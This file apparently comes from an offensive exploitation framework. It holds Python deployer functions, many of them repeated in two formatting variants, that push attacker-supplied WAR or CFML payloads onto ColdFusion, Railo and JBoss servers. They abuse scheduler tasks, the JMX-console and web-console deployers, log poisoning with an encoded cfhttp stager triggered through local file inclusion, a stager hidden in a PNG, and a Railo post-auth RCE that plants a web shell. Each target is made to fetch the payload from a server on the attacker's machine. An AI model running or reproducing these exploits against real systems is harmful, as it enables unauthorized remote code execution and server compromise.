def invoke(url, payload, os, version, pl_file): """ All we need to do is traverse up to the admin-ext-thumbnails directory and invoke our stager """ utility.Msg("Invoking stager and deploying payload...") fetchurl = "http://{0}:{1}/{2}".format(utility.local_address(), state.external_port, pl_file) # calculate file hash hsh = md5("%s-5000-5000" % fetchurl).hexdigest().upper() url = url.format(hsh) # fire up server server_thread = Thread(target=_serve, args=(payload, )) server_thread.start() sleep(2) r = utility.requests_get(url) if waitServe(server_thread): utility.Msg( "{0} deployed at /railo-context/{0}".format( parse_war_path(payload, True)), LOG.SUCCESS) else: utility.Msg("Failed to deploy (HTTP %d)" % r.status_code, LOG.ERROR) killServe()
def run_task(ip, fingerprint, cfm_path): """ Invoke the task and wait for the remote server to fetch our file """ cfm_name = parse_war_path(cfm_path, True) # kick up the HTTP server server_thread = Thread(target=_serve, args=(cfm_path, )) server_thread.start() sleep(2) url = "http://{0}:{1}/CFIDE/administrator/scheduler/scheduletasks.cfm"\ .format(ip, fingerprint.port) (cookie, csrf) = fetch_csrf(ip, fingerprint, url) if fingerprint.version in ["7.0", "8.0"]: uri = "?runtask={0}&timeout=0".format(cfm_name) elif fingerprint.version in ["9.0"]: uri = "?runtask={0}&timeout=0&csrftoken={1}".format(cfm_name, csrf) elif fingerprint.version in ["10.0", '11.0']: uri = "?runtask={0}&group=default&mode=server&csrftoken={1}".format( cfm_name, csrf) response = utility.requests_get(url + uri, cookies=cookie) if waitServe(server_thread): utility.Msg("{0} deployed to /CFIDE/{0}".format(cfm_name), LOG.SUCCESS) killServe()
def invoke(url, payload, os, version, pl_file): """ All we need to do is traverse up to the admin-ext-thumbnails directory and invoke our stager """ utility.Msg("Invoking stager and deploying payload...") fetchurl = "http://{0}:{1}/{2}".format(utility.local_address(), state.external_port, pl_file) # calculate file hash hsh = md5("%s-5000-5000" % fetchurl).hexdigest().upper() url = url.format(hsh) # fire up server server_thread = Thread(target=_serve, args=(payload,)) server_thread.start() sleep(2) r = utility.requests_get(url) if waitServe(server_thread): utility.Msg("{0} deployed at /railo-context/{0}".format( parse_war_path(payload,True)), LOG.SUCCESS) else: utility.Msg("Failed to deploy (HTTP %d)" % r.status_code, LOG.ERROR) killServe()
def run_task(ip, fingerprint, cfm_path, cookie): """ Invoke the task and wait for the server to fetch it """ success = False cfm_file = parse_war_path(cfm_path, True) # start up our listener server_thread = Thread(target=_serve, args=(cfm_path, )) server_thread.start() sleep(2) base = 'http://{0}:{1}'.format(ip, fingerprint.port) if fingerprint.version in ['5.0']: uri = '/CFIDE/administrator/scheduler/runtask.cfm?task=%s' % cfm_file else: uri = '/CFIDE/administrator/scheduler/scheduletasks.cfm?runtask=%s'\ % cfm_file response = utility.requests_get(base + uri, cookies=cookie) if waitServe(server_thread): if fingerprint.version in ['5.0']: out_diag = "{0} deployed to /{0}".format( cfm_file.replace('cfml', 'cfm')) else: out_diag = "{0} deployed to /CFIDE/{0}".format(cfm_file) utility.Msg(out_diag, LOG.SUCCESS) success = True killServe() return success
def run_task(ip, fingerprint, cfm_path, cookie): """ Invoke the task and wait for the server to fetch it """ success = False cfm_file = parse_war_path(cfm_path, True) # start up our listener server_thread = Thread(target=_serve, args=(cfm_path,)) server_thread.start() sleep(2) base = 'http://{0}:{1}'.format(ip, fingerprint.port) if fingerprint.version in ['5.0']: uri = '/CFIDE/administrator/scheduler/runtask.cfm?task=%s' % cfm_file else: uri = '/CFIDE/administrator/scheduler/scheduletasks.cfm?runtask=%s'\ % cfm_file response = utility.requests_get(base + uri, cookies=cookie) if waitServe(server_thread): if fingerprint.version in ['5.0']: out_diag = "{0} deployed to /{0}".format(cfm_file.replace('cfml','cfm')) else: out_diag = "{0} deployed to /CFIDE/{0}".format(cfm_file) utility.Msg(out_diag, LOG.SUCCESS) success = True killServe() return success
def run_task(ip, fingerprint, cfm_path): """ """ global cookie cfm_file = parse_war_path(cfm_path, True) # kick up server server_thread = Thread(target=_serve, args=(cfm_path,)) server_thread.start() sleep(2) base = "http://{0}:{1}/railo-context/admin/web.cfm".format(ip, fingerprint.port) params = "?action=services.schedule" data = OrderedDict([ ("row_1", "1"), ("name_1", cfm_file), ("mainAction", "execute") ]) response = utility.requests_post(base + params, data=data, cookies=cookie) if waitServe(server_thread): utility.Msg("{0} deployed to /{0}".format(cfm_file), LOG.SUCCESS) killServe()
def run_task(ip, fingerprint, cfm_path): """ Invoke the task and wait for the remote server to fetch our file """ success = True cfm_name = parse_war_path(cfm_path, True) # kick up the HTTP server server_thread = Thread(target=_serve, args=(cfm_path,)) server_thread.start() sleep(2) url = "http://{0}:{1}/CFIDE/administrator/scheduler/scheduletasks.cfm"\ .format(ip, fingerprint.port) (cookie, csrf) = fetch_csrf(ip, fingerprint, url) if fingerprint.version in ["7.0", "8.0"]: uri = "?runtask={0}&timeout=0".format(cfm_name) elif fingerprint.version in ["9.0"]: uri = "?runtask={0}&timeout=0&csrftoken={1}".format(cfm_name, csrf) elif fingerprint.version in ["10.0", '11.0']: uri = "?runtask={0}&group=default&mode=server&csrftoken={1}".format(cfm_name, csrf) response = utility.requests_get(url + uri, cookies=cookie) if waitServe(server_thread): utility.Msg("{0} deployed to /CFIDE/{0}".format(cfm_name), LOG.SUCCESS) else: success = False killServe() return success
def deploy(fingerengine, fingerprint): """ """ war_file = abspath(fingerengine.options.deploy) war_name = parse_war_path(war_file, True) # start the local HTTP server server_thread = Thread(target=_serve, args=(war_file, )) server_thread.start() sleep(1.5) utility.Msg("Preparing to deploy {0}...".format(war_file)) url = "http://{0}:{1}/web-console/Invoker".format(fingerengine.options.ip, fingerprint.port) local_url = "http://{0}:{1}/{2}".format(utility.local_address(), state.external_port, war_name) # poll the URL to check for a 401 response = utility.requests_get(url) if response.status_code == 401: utility.Msg("Host %s:%s requires auth for web-console, checking..", LOG.DEBUG) cookies = checkAuth(fingerengine.options.ip, fingerprint.port, fingerprint.title, fingerprint.version) if cookies: (usr, pswd) = (cookies[1].username, cookies[1].password) response = wc_invoke(url, local_url, usr, pswd) else: utility.Msg( "Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.ERROR) else: # run our java lib for serializing the request response = wc_invoke(url, local_url) if not response == '': utility.Msg(response, LOG.DEBUG) if waitServe(server_thread): utility.Msg( "{0} deployed to {1}".format(war_file, fingerengine.options.ip), LOG.SUCCESS) killServe()
def deploy(fingerengine, fingerprint): """ """ war_file = abspath(fingerengine.options.deploy) war_name = war_file.rsplit('/', 1)[1] # start the local HTTP server server_thread = Thread(target=_serve, args=(war_file,)) server_thread.start() sleep(1.5) utility.Msg("Preparing to deploy {0}...".format(war_file)) url = "http://{0}:{1}/web-console/Invoker".format( fingerengine.options.ip, fingerprint.port) local_url = "http://{0}:{1}/{2}".format(utility.local_address(), state.external_port,war_name) # poll the URL to check for a 401 response = utility.requests_get(url) if response.status_code == 401: utility.Msg("Host %s:%s requires auth for web-console, checking..", LOG.DEBUG) cookies = checkAuth(fingerengine.options.ip, fingerprint.port, fingerprint.title, fingerprint.version) if cookies: (usr, pswd) = (cookies[1].username, cookies[1].password) response = wc_invoke(url, local_url, usr, pswd) else: utility.Msg("Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.ERROR) else: # run our java lib for serializing the request response = wc_invoke(url, local_url) if not response == '': utility.Msg(response, LOG.DEBUG) if waitServe(server_thread): utility.Msg("{0} deployed to {1}".format(war_file, fingerengine.options.ip), LOG.SUCCESS) killServe()
def deploy(fingerengine, fingerprint): """ Exploits log poisoning to inject CFML stager code that pulls down our payload and stashes it in web root """ cfm_path = abspath(fingerengine.options.deploy) cfm_file = parse_war_path(cfm_path, True) dip = fingerengine.options.ip base = 'http://{0}:{1}/'.format(dip, fingerprint.port) stager = "<cfhttp method='get' url='#ToString(ToBinary('{0}'))#'"\ " path='#ExpandPath(ToString(ToBinary('Li4vLi4v')))#'"\ " file='{1}'>" # ensure we're deploying a valid filetype extension = cfm_file.rsplit('.', 1)[1] if extension.lower() not in ['jsp', 'cfml']: utility.Msg("This deployer requires a JSP/CFML payload", LOG.ERROR) return # start up our local server to catch the request server_thread = Thread(target=_serve, args=(cfm_path, )) server_thread.start() # inject stager utility.Msg("Injecting stager...") b64addr = b64encode('http://{0}:{1}/{2}'.format(utility.local_address(), state.external_port, cfm_file)) stager = quote_plus(stager.format(b64addr, cfm_file)) stager += ".cfml" # trigger the error for log injection _ = utility.requests_get(base + stager) # stager injected, now load the log file via LFI if fingerprint.version in ["9.0", "10.0"]: LinvokeLFI(base, fingerengine, fingerprint) else: invokeLFI(base, fingerengine, fingerprint) if waitServe(server_thread): utility.Msg("{0} deployed at /{0}".format(cfm_file), LOG.SUCCESS) else: utility.Msg("Failed to deploy file.", LOG.ERROR) killServe()
def deploy(fingerengine, fingerprint): """ Exploits log poisoning to inject CFML stager code that pulls down our payload and stashes it in web root """ cfm_path = abspath(fingerengine.options.deploy) cfm_file = parse_war_path(cfm_path, True) dip = fingerengine.options.ip base = 'http://{0}:{1}/'.format(dip, fingerprint.port) stager = "<cfhttp method='get' url='#ToString(ToBinary('{0}'))#'"\ " path='#ExpandPath(ToString(ToBinary('Li4vLi4v')))#'"\ " file='{1}'>" # ensure we're deploying a valid filetype extension = cfm_file.rsplit('.', 1)[1] if extension.lower() not in ['jsp', 'cfml']: utility.Msg("This deployer requires a JSP/CFML payload", LOG.ERROR) return # start up our local server to catch the request server_thread = Thread(target=_serve, args=(cfm_path,)) server_thread.start() # inject stager utility.Msg("Injecting stager...") b64addr = b64encode('http://{0}:{1}/{2}'.format(utility.local_address(), state.external_port,cfm_file)) stager = quote_plus(stager.format(b64addr, cfm_file)) stager += ".cfml" # trigger the error for log injection _ = utility.requests_get(base + stager) # stager injected, now load the log file via LFI if fingerprint.version in ["9.0", "10.0"]: LinvokeLFI(base, fingerengine, fingerprint) else: invokeLFI(base, fingerengine, fingerprint) if waitServe(server_thread): utility.Msg("{0} deployed at /{0}".format(cfm_file), LOG.SUCCESS) else: utility.Msg("Failed to deploy file.", LOG.ERROR) killServe()
def load_file(url, payload_file, os, version): """ Make a copy of our test PNG file, embed the stager into it, change the extension, and stash it on the server """ pl_file = "msh%d.cfm" % randint(0, 500) fetchurl = "http://{0}:{1}/{2}".format(utility.local_address(), state.external_port, payload_file) b64 = b64encode(fetchurl) stager = "<cfhttp method='get' url='#ToString(ToBinary('{0}'))#'"\ " path='#GetDirectoryFromPath(GetCurrentTemplatePath())#..\..\context\'"\ " file='{1}'>".format(b64, payload_file) # set our stager system("cp ./src/lib/railo/header.png {0}/{1}".format( state.serve_dir, pl_file)) with open("{0}/{1}".format(state.serve_dir, pl_file), "ab") as f: f.write(stager + '\x00') # fire up server server_thread = Thread(target=_serve, args=("%s/%s" % (state.serve_dir, pl_file), )) server_thread.start() sleep(2) # invoke _ = utility.requests_get( url.format('http://{0}:{1}/{2}'.format(utility.local_address(), state.external_port, pl_file))) if waitServe(server_thread): utility.Msg( "%s stashed on remote host, preparing to invoke..." % pl_file, LOG.DEBUG) else: utility.Msg("Failed to invoke server call", LOG.ERROR) pl_file = None killServe() return pl_file
def run_task(ip, fingerprint, cfm_path): """ """ global cookie cfm_file = parse_war_path(cfm_path, True) # kick up server server_thread = Thread(target=_serve, args=(cfm_path, )) server_thread.start() sleep(2) base = "http://{0}:{1}/railo-context/admin/web.cfm".format( ip, fingerprint.port) params = "?action=services.schedule" data = OrderedDict([("row_1", "1"), ("name_1", cfm_file), ("mainAction", "execute")]) response = utility.requests_post(base + params, data=data, cookies=cookie) if waitServe(server_thread): utility.Msg("{0} deployed to /{0}".format(cfm_file), LOG.SUCCESS) killServe()
def load_file(url, payload_file, os, version): """ Make a copy of our test PNG file, embed the stager into it, change the extension, and stash it on the server """ pl_file = "msh%d.cfm" % randint(0, 500) fetchurl = "http://{0}:{1}/{2}".format(utility.local_address(), state.external_port, payload_file) b64 = b64encode(fetchurl) stager = "<cfhttp method='get' url='#ToString(ToBinary('{0}'))#'"\ " path='#GetDirectoryFromPath(GetCurrentTemplatePath())#..\..\context\'"\ " file='{1}'>".format(b64, payload_file) # set our stager copyfile("./src/lib/railo/header.png", "{0}/{1}".format(state.serve_dir, pl_file)) with open("{0}/{1}".format(state.serve_dir, pl_file), "ab") as f: f.write(stager + '\x00') # fire up server server_thread = Thread(target=_serve, args=("%s/%s" % (state.serve_dir, pl_file),)) server_thread.start() sleep(2) # invoke _ = utility.requests_get(url.format('http://{0}:{1}/{2}'.format( utility.local_address(), state.external_port, pl_file))) if waitServe(server_thread): utility.Msg("%s stashed on remote host, preparing to invoke..." % pl_file, LOG.DEBUG) else: utility.Msg("Failed to invoke server call", LOG.ERROR) pl_file = None killServe() return pl_file
def deploy(fingerengine, fingerprint): """ Exploit a post-auth RCE vulnerability in Railo; uses a simple cfhttp stager to drop the payload """ payload = parse_war_path(fingerengine.options.deploy, True) payload_path = abspath(fingerengine.options.deploy) stager = ":<cfhttp method=\"get\" url=\"http://{0}:{1}/{2}\""\ " path=\"{3}\" file=\"{2}\">" base = 'http://{0}:{1}'.format(fingerengine.options.ip, fingerprint.port) cookie = checkAuth(fingerengine.options.ip, fingerprint.port, fingerprint.title) if not cookie: utility.Msg("Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.ERROR) return utility.Msg("Fetching path...") path = fetchPath(fingerengine, fingerprint) utility.Msg("Found path %s" % path, LOG.DEBUG) # configure stager stager = quote(stager.format(utility.local_address(), state.external_port, payload, path + "\context" if fingerengine.options.remote_os \ is 'windows' else '/context')) utility.Msg("Pulling id file...") fid = fetchId(base, path, cookie) if not fid: return utility.Msg("Found id %s" % fid, LOG.DEBUG) # we've got both the security token and the security key, calculate filename session_file = md5(fid + md5(path).hexdigest()).hexdigest() utility.Msg("Session file is web-%s.cfm, attempting to inject stager..." % session_file) # trigger a new favorite with our web shell uri = '/railo-context/admin/web.cfm?action=internal.savedata' uri += '&action2=addfavorite&favorite=%s' % stager response = utility.requests_get(base + uri, cookies=cookie) if not response.status_code is 200: utility.Msg("Failed to deploy stager (HTTP %d)" % response.status_code, LOG.ERROR) return utility.Msg("Stager deployed, invoking...", LOG.SUCCESS) system("cp {0} {1}/{2}".format(payload_path, state.serve_dir, payload)) server_thread = Thread(target=_serve, args=("%s/%s" % (state.serve_dir, payload),)) server_thread.start() sleep(2) # invoke data_uri = "/railo-context/admin/userdata/web-%s.cfm" % session_file _ = utility.requests_get(base + data_uri) if waitServe(server_thread): utility.Msg("{0} deployed at /railo-context/{0}".format(payload), LOG.SUCCESS) killServe()
def deploy(fingerengine, fingerprint): """ Exploit a post-auth RCE vulnerability in Railo; uses a simple cfhttp stager to drop the payload """ payload = parse_war_path(fingerengine.options.deploy, True) payload_path = abspath(fingerengine.options.deploy) stager = ":<cfhttp method=\"get\" url=\"http://{0}:{1}/{2}\""\ " path=\"{3}\" file=\"{2}\">" base = 'http://{0}:{1}'.format(fingerengine.options.ip, fingerprint.port) cookie = checkAuth(fingerengine.options.ip, fingerprint.port, fingerprint.title) if not cookie: utility.Msg( "Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.ERROR) return utility.Msg("Fetching path...") path = fetchPath(fingerengine, fingerprint) utility.Msg("Found path %s" % path, LOG.DEBUG) # configure stager stager = quote(stager.format(utility.local_address(), state.external_port, payload, path + "\context" if fingerengine.options.remote_os \ is 'windows' else '/context')) utility.Msg("Pulling id file...") fid = fetchId(base, path, cookie) if not fid: return utility.Msg("Found id %s" % fid, LOG.DEBUG) # we've got both the security token and the security key, calculate filename session_file = md5(fid + md5(path).hexdigest()).hexdigest() utility.Msg("Session file is web-%s.cfm, attempting to inject stager..." % session_file) # trigger a new favorite with our web shell uri = '/railo-context/admin/web.cfm?action=internal.savedata' uri += '&action2=addfavorite&favorite=%s' % stager response = utility.requests_get(base + uri, cookies=cookie) if not response.status_code is 200: utility.Msg("Failed to deploy stager (HTTP %d)" % response.status_code, LOG.ERROR) return utility.Msg("Stager deployed, invoking...", LOG.SUCCESS) system("cp {0} {1}/{2}".format(payload_path, state.serve_dir, payload)) server_thread = Thread(target=_serve, args=("%s/%s" % (state.serve_dir, payload), )) server_thread.start() sleep(2) # invoke data_uri = "/railo-context/admin/userdata/web-%s.cfm" % session_file _ = utility.requests_get(base + data_uri) if waitServe(server_thread): utility.Msg("{0} deployed at /railo-context/{0}".format(payload), LOG.SUCCESS) killServe()
def deploy(fingerengine, fingerprint): """ """ war_file = abspath(fingerengine.options.deploy) war_name = war_file.rsplit('/', 1)[1] # start up the local HTTP server server_thread = Thread(target=_serve, args=(war_file,)) server_thread.start() sleep(2) # major versions of JBoss have different method indices methodIndex = {"3.0" : 21, "3.2" : 22, "4.0" : 3, "4.2" : 3, "6.0" : 19, "6.1" : 19 } if fingerprint.version == "3.0": tmp = utility.capture_input("Version 3.0 has a strict WAR XML structure. " "Ensure your WAR is compatible with 3.0 [Y/n]") if 'n' in tmp.lower(): return utility.Msg("Preparing to deploy {0}..".format(war_file)) url = 'http://{0}:{1}/jmx-console/HtmlAdaptor'.format( fingerengine.options.ip, fingerprint.port) data = OrderedDict([ ('action', 'invokeOp'), ('name', 'jboss.system:service=MainDeployer'), ('methodIndex', methodIndex[fingerprint.version]), ('arg0', 'http://{0}:{1}/{2}'.format( utility.local_address(), state.external_port,war_name)) ]) response = utility.requests_post(url, data=data) if response.status_code == 401: utility.Msg("Host %s:%s requires auth for JMX, checking..." % (fingerengine.options.ip, fingerprint.port), LOG.DEBUG) cookies = checkAuth(fingerengine.options.ip, fingerprint.port, fingerprint.title, fingerprint.version) if cookies: try: response = utility.requests_post(url, data=data, cookies=cookies[0], auth=cookies[1]) except exceptions.Timeout: # we should be fine here, so long as we get the POST request off. # Just means that we haven't gotten a response quite yet. response.status_code = 200 else: utility.Msg("Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.ERROR) return if response.status_code == 200: if waitServe(server_thread): utility.Msg("{0} deployed to {1}".format(war_file, fingerengine.options.ip), LOG.SUCCESS) else: utility.Msg("Failed to call {0} (HTTP {1})".format (fingerengine.options.ip, response.status_code), LOG.ERROR) killServe()
def deploy(fingerengine, fingerprint): """ """ war_file = abspath(fingerengine.options.deploy) war_name = parse_war_path(war_file, True) # start up the local HTTP server server_thread = Thread(target=_serve, args=(war_file, )) server_thread.start() sleep(2) # major versions of JBoss have different method indices methodIndex = { "3.0": 21, "3.2": 22, "4.0": 3, "4.2": 3, "6.0": 19, "6.1": 19 } if fingerprint.version == "3.0": # tmp = utility.capture_input("Version 3.0 has a strict WAR XML structure. " # "Ensure your WAR is compatible with 3.0 [Y/n]") # if 'n' in tmp.lower(): # return utility.Msg( "Version 3.0 has a strict WAR XML structure. Ensure your WAR is compatible with 3.0" ) utility.Msg("Preparing to deploy {0}..".format(war_file)) url = 'http://{0}:{1}/jmx-console/HtmlAdaptor'.format( fingerengine.options.ip, fingerprint.port) data = OrderedDict([ ('action', 'invokeOp'), ('name', 'jboss.system:service=MainDeployer'), ('methodIndex', methodIndex[fingerprint.version]), ('arg0', 'http://{0}:{1}/{2}'.format(utility.local_address(), state.external_port, war_name)) ]) response = utility.requests_post(url, data=data) if response.status_code == 401: utility.Msg( "Host %s:%s requires auth for JMX, checking..." % (fingerengine.options.ip, fingerprint.port), LOG.DEBUG) cookies = checkAuth(fingerengine.options.ip, fingerprint.port, fingerprint.title, fingerprint.version) if cookies: try: response = utility.requests_post(url, data=data, cookies=cookies[0], auth=cookies[1]) except exceptions.Timeout: # we should be fine here, so long as we get the POST request off. # Just means that we haven't gotten a response quite yet. response.status_code = 200 else: utility.Msg( "Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.ERROR) return if response.status_code == 200: if waitServe(server_thread): utility.Msg( "{0} deployed to {1}".format(war_file, fingerengine.options.ip), LOG.SUCCESS) else: utility.Msg( "Failed to call {0} (HTTP {1})".format(fingerengine.options.ip, response.status_code), LOG.ERROR) killServe()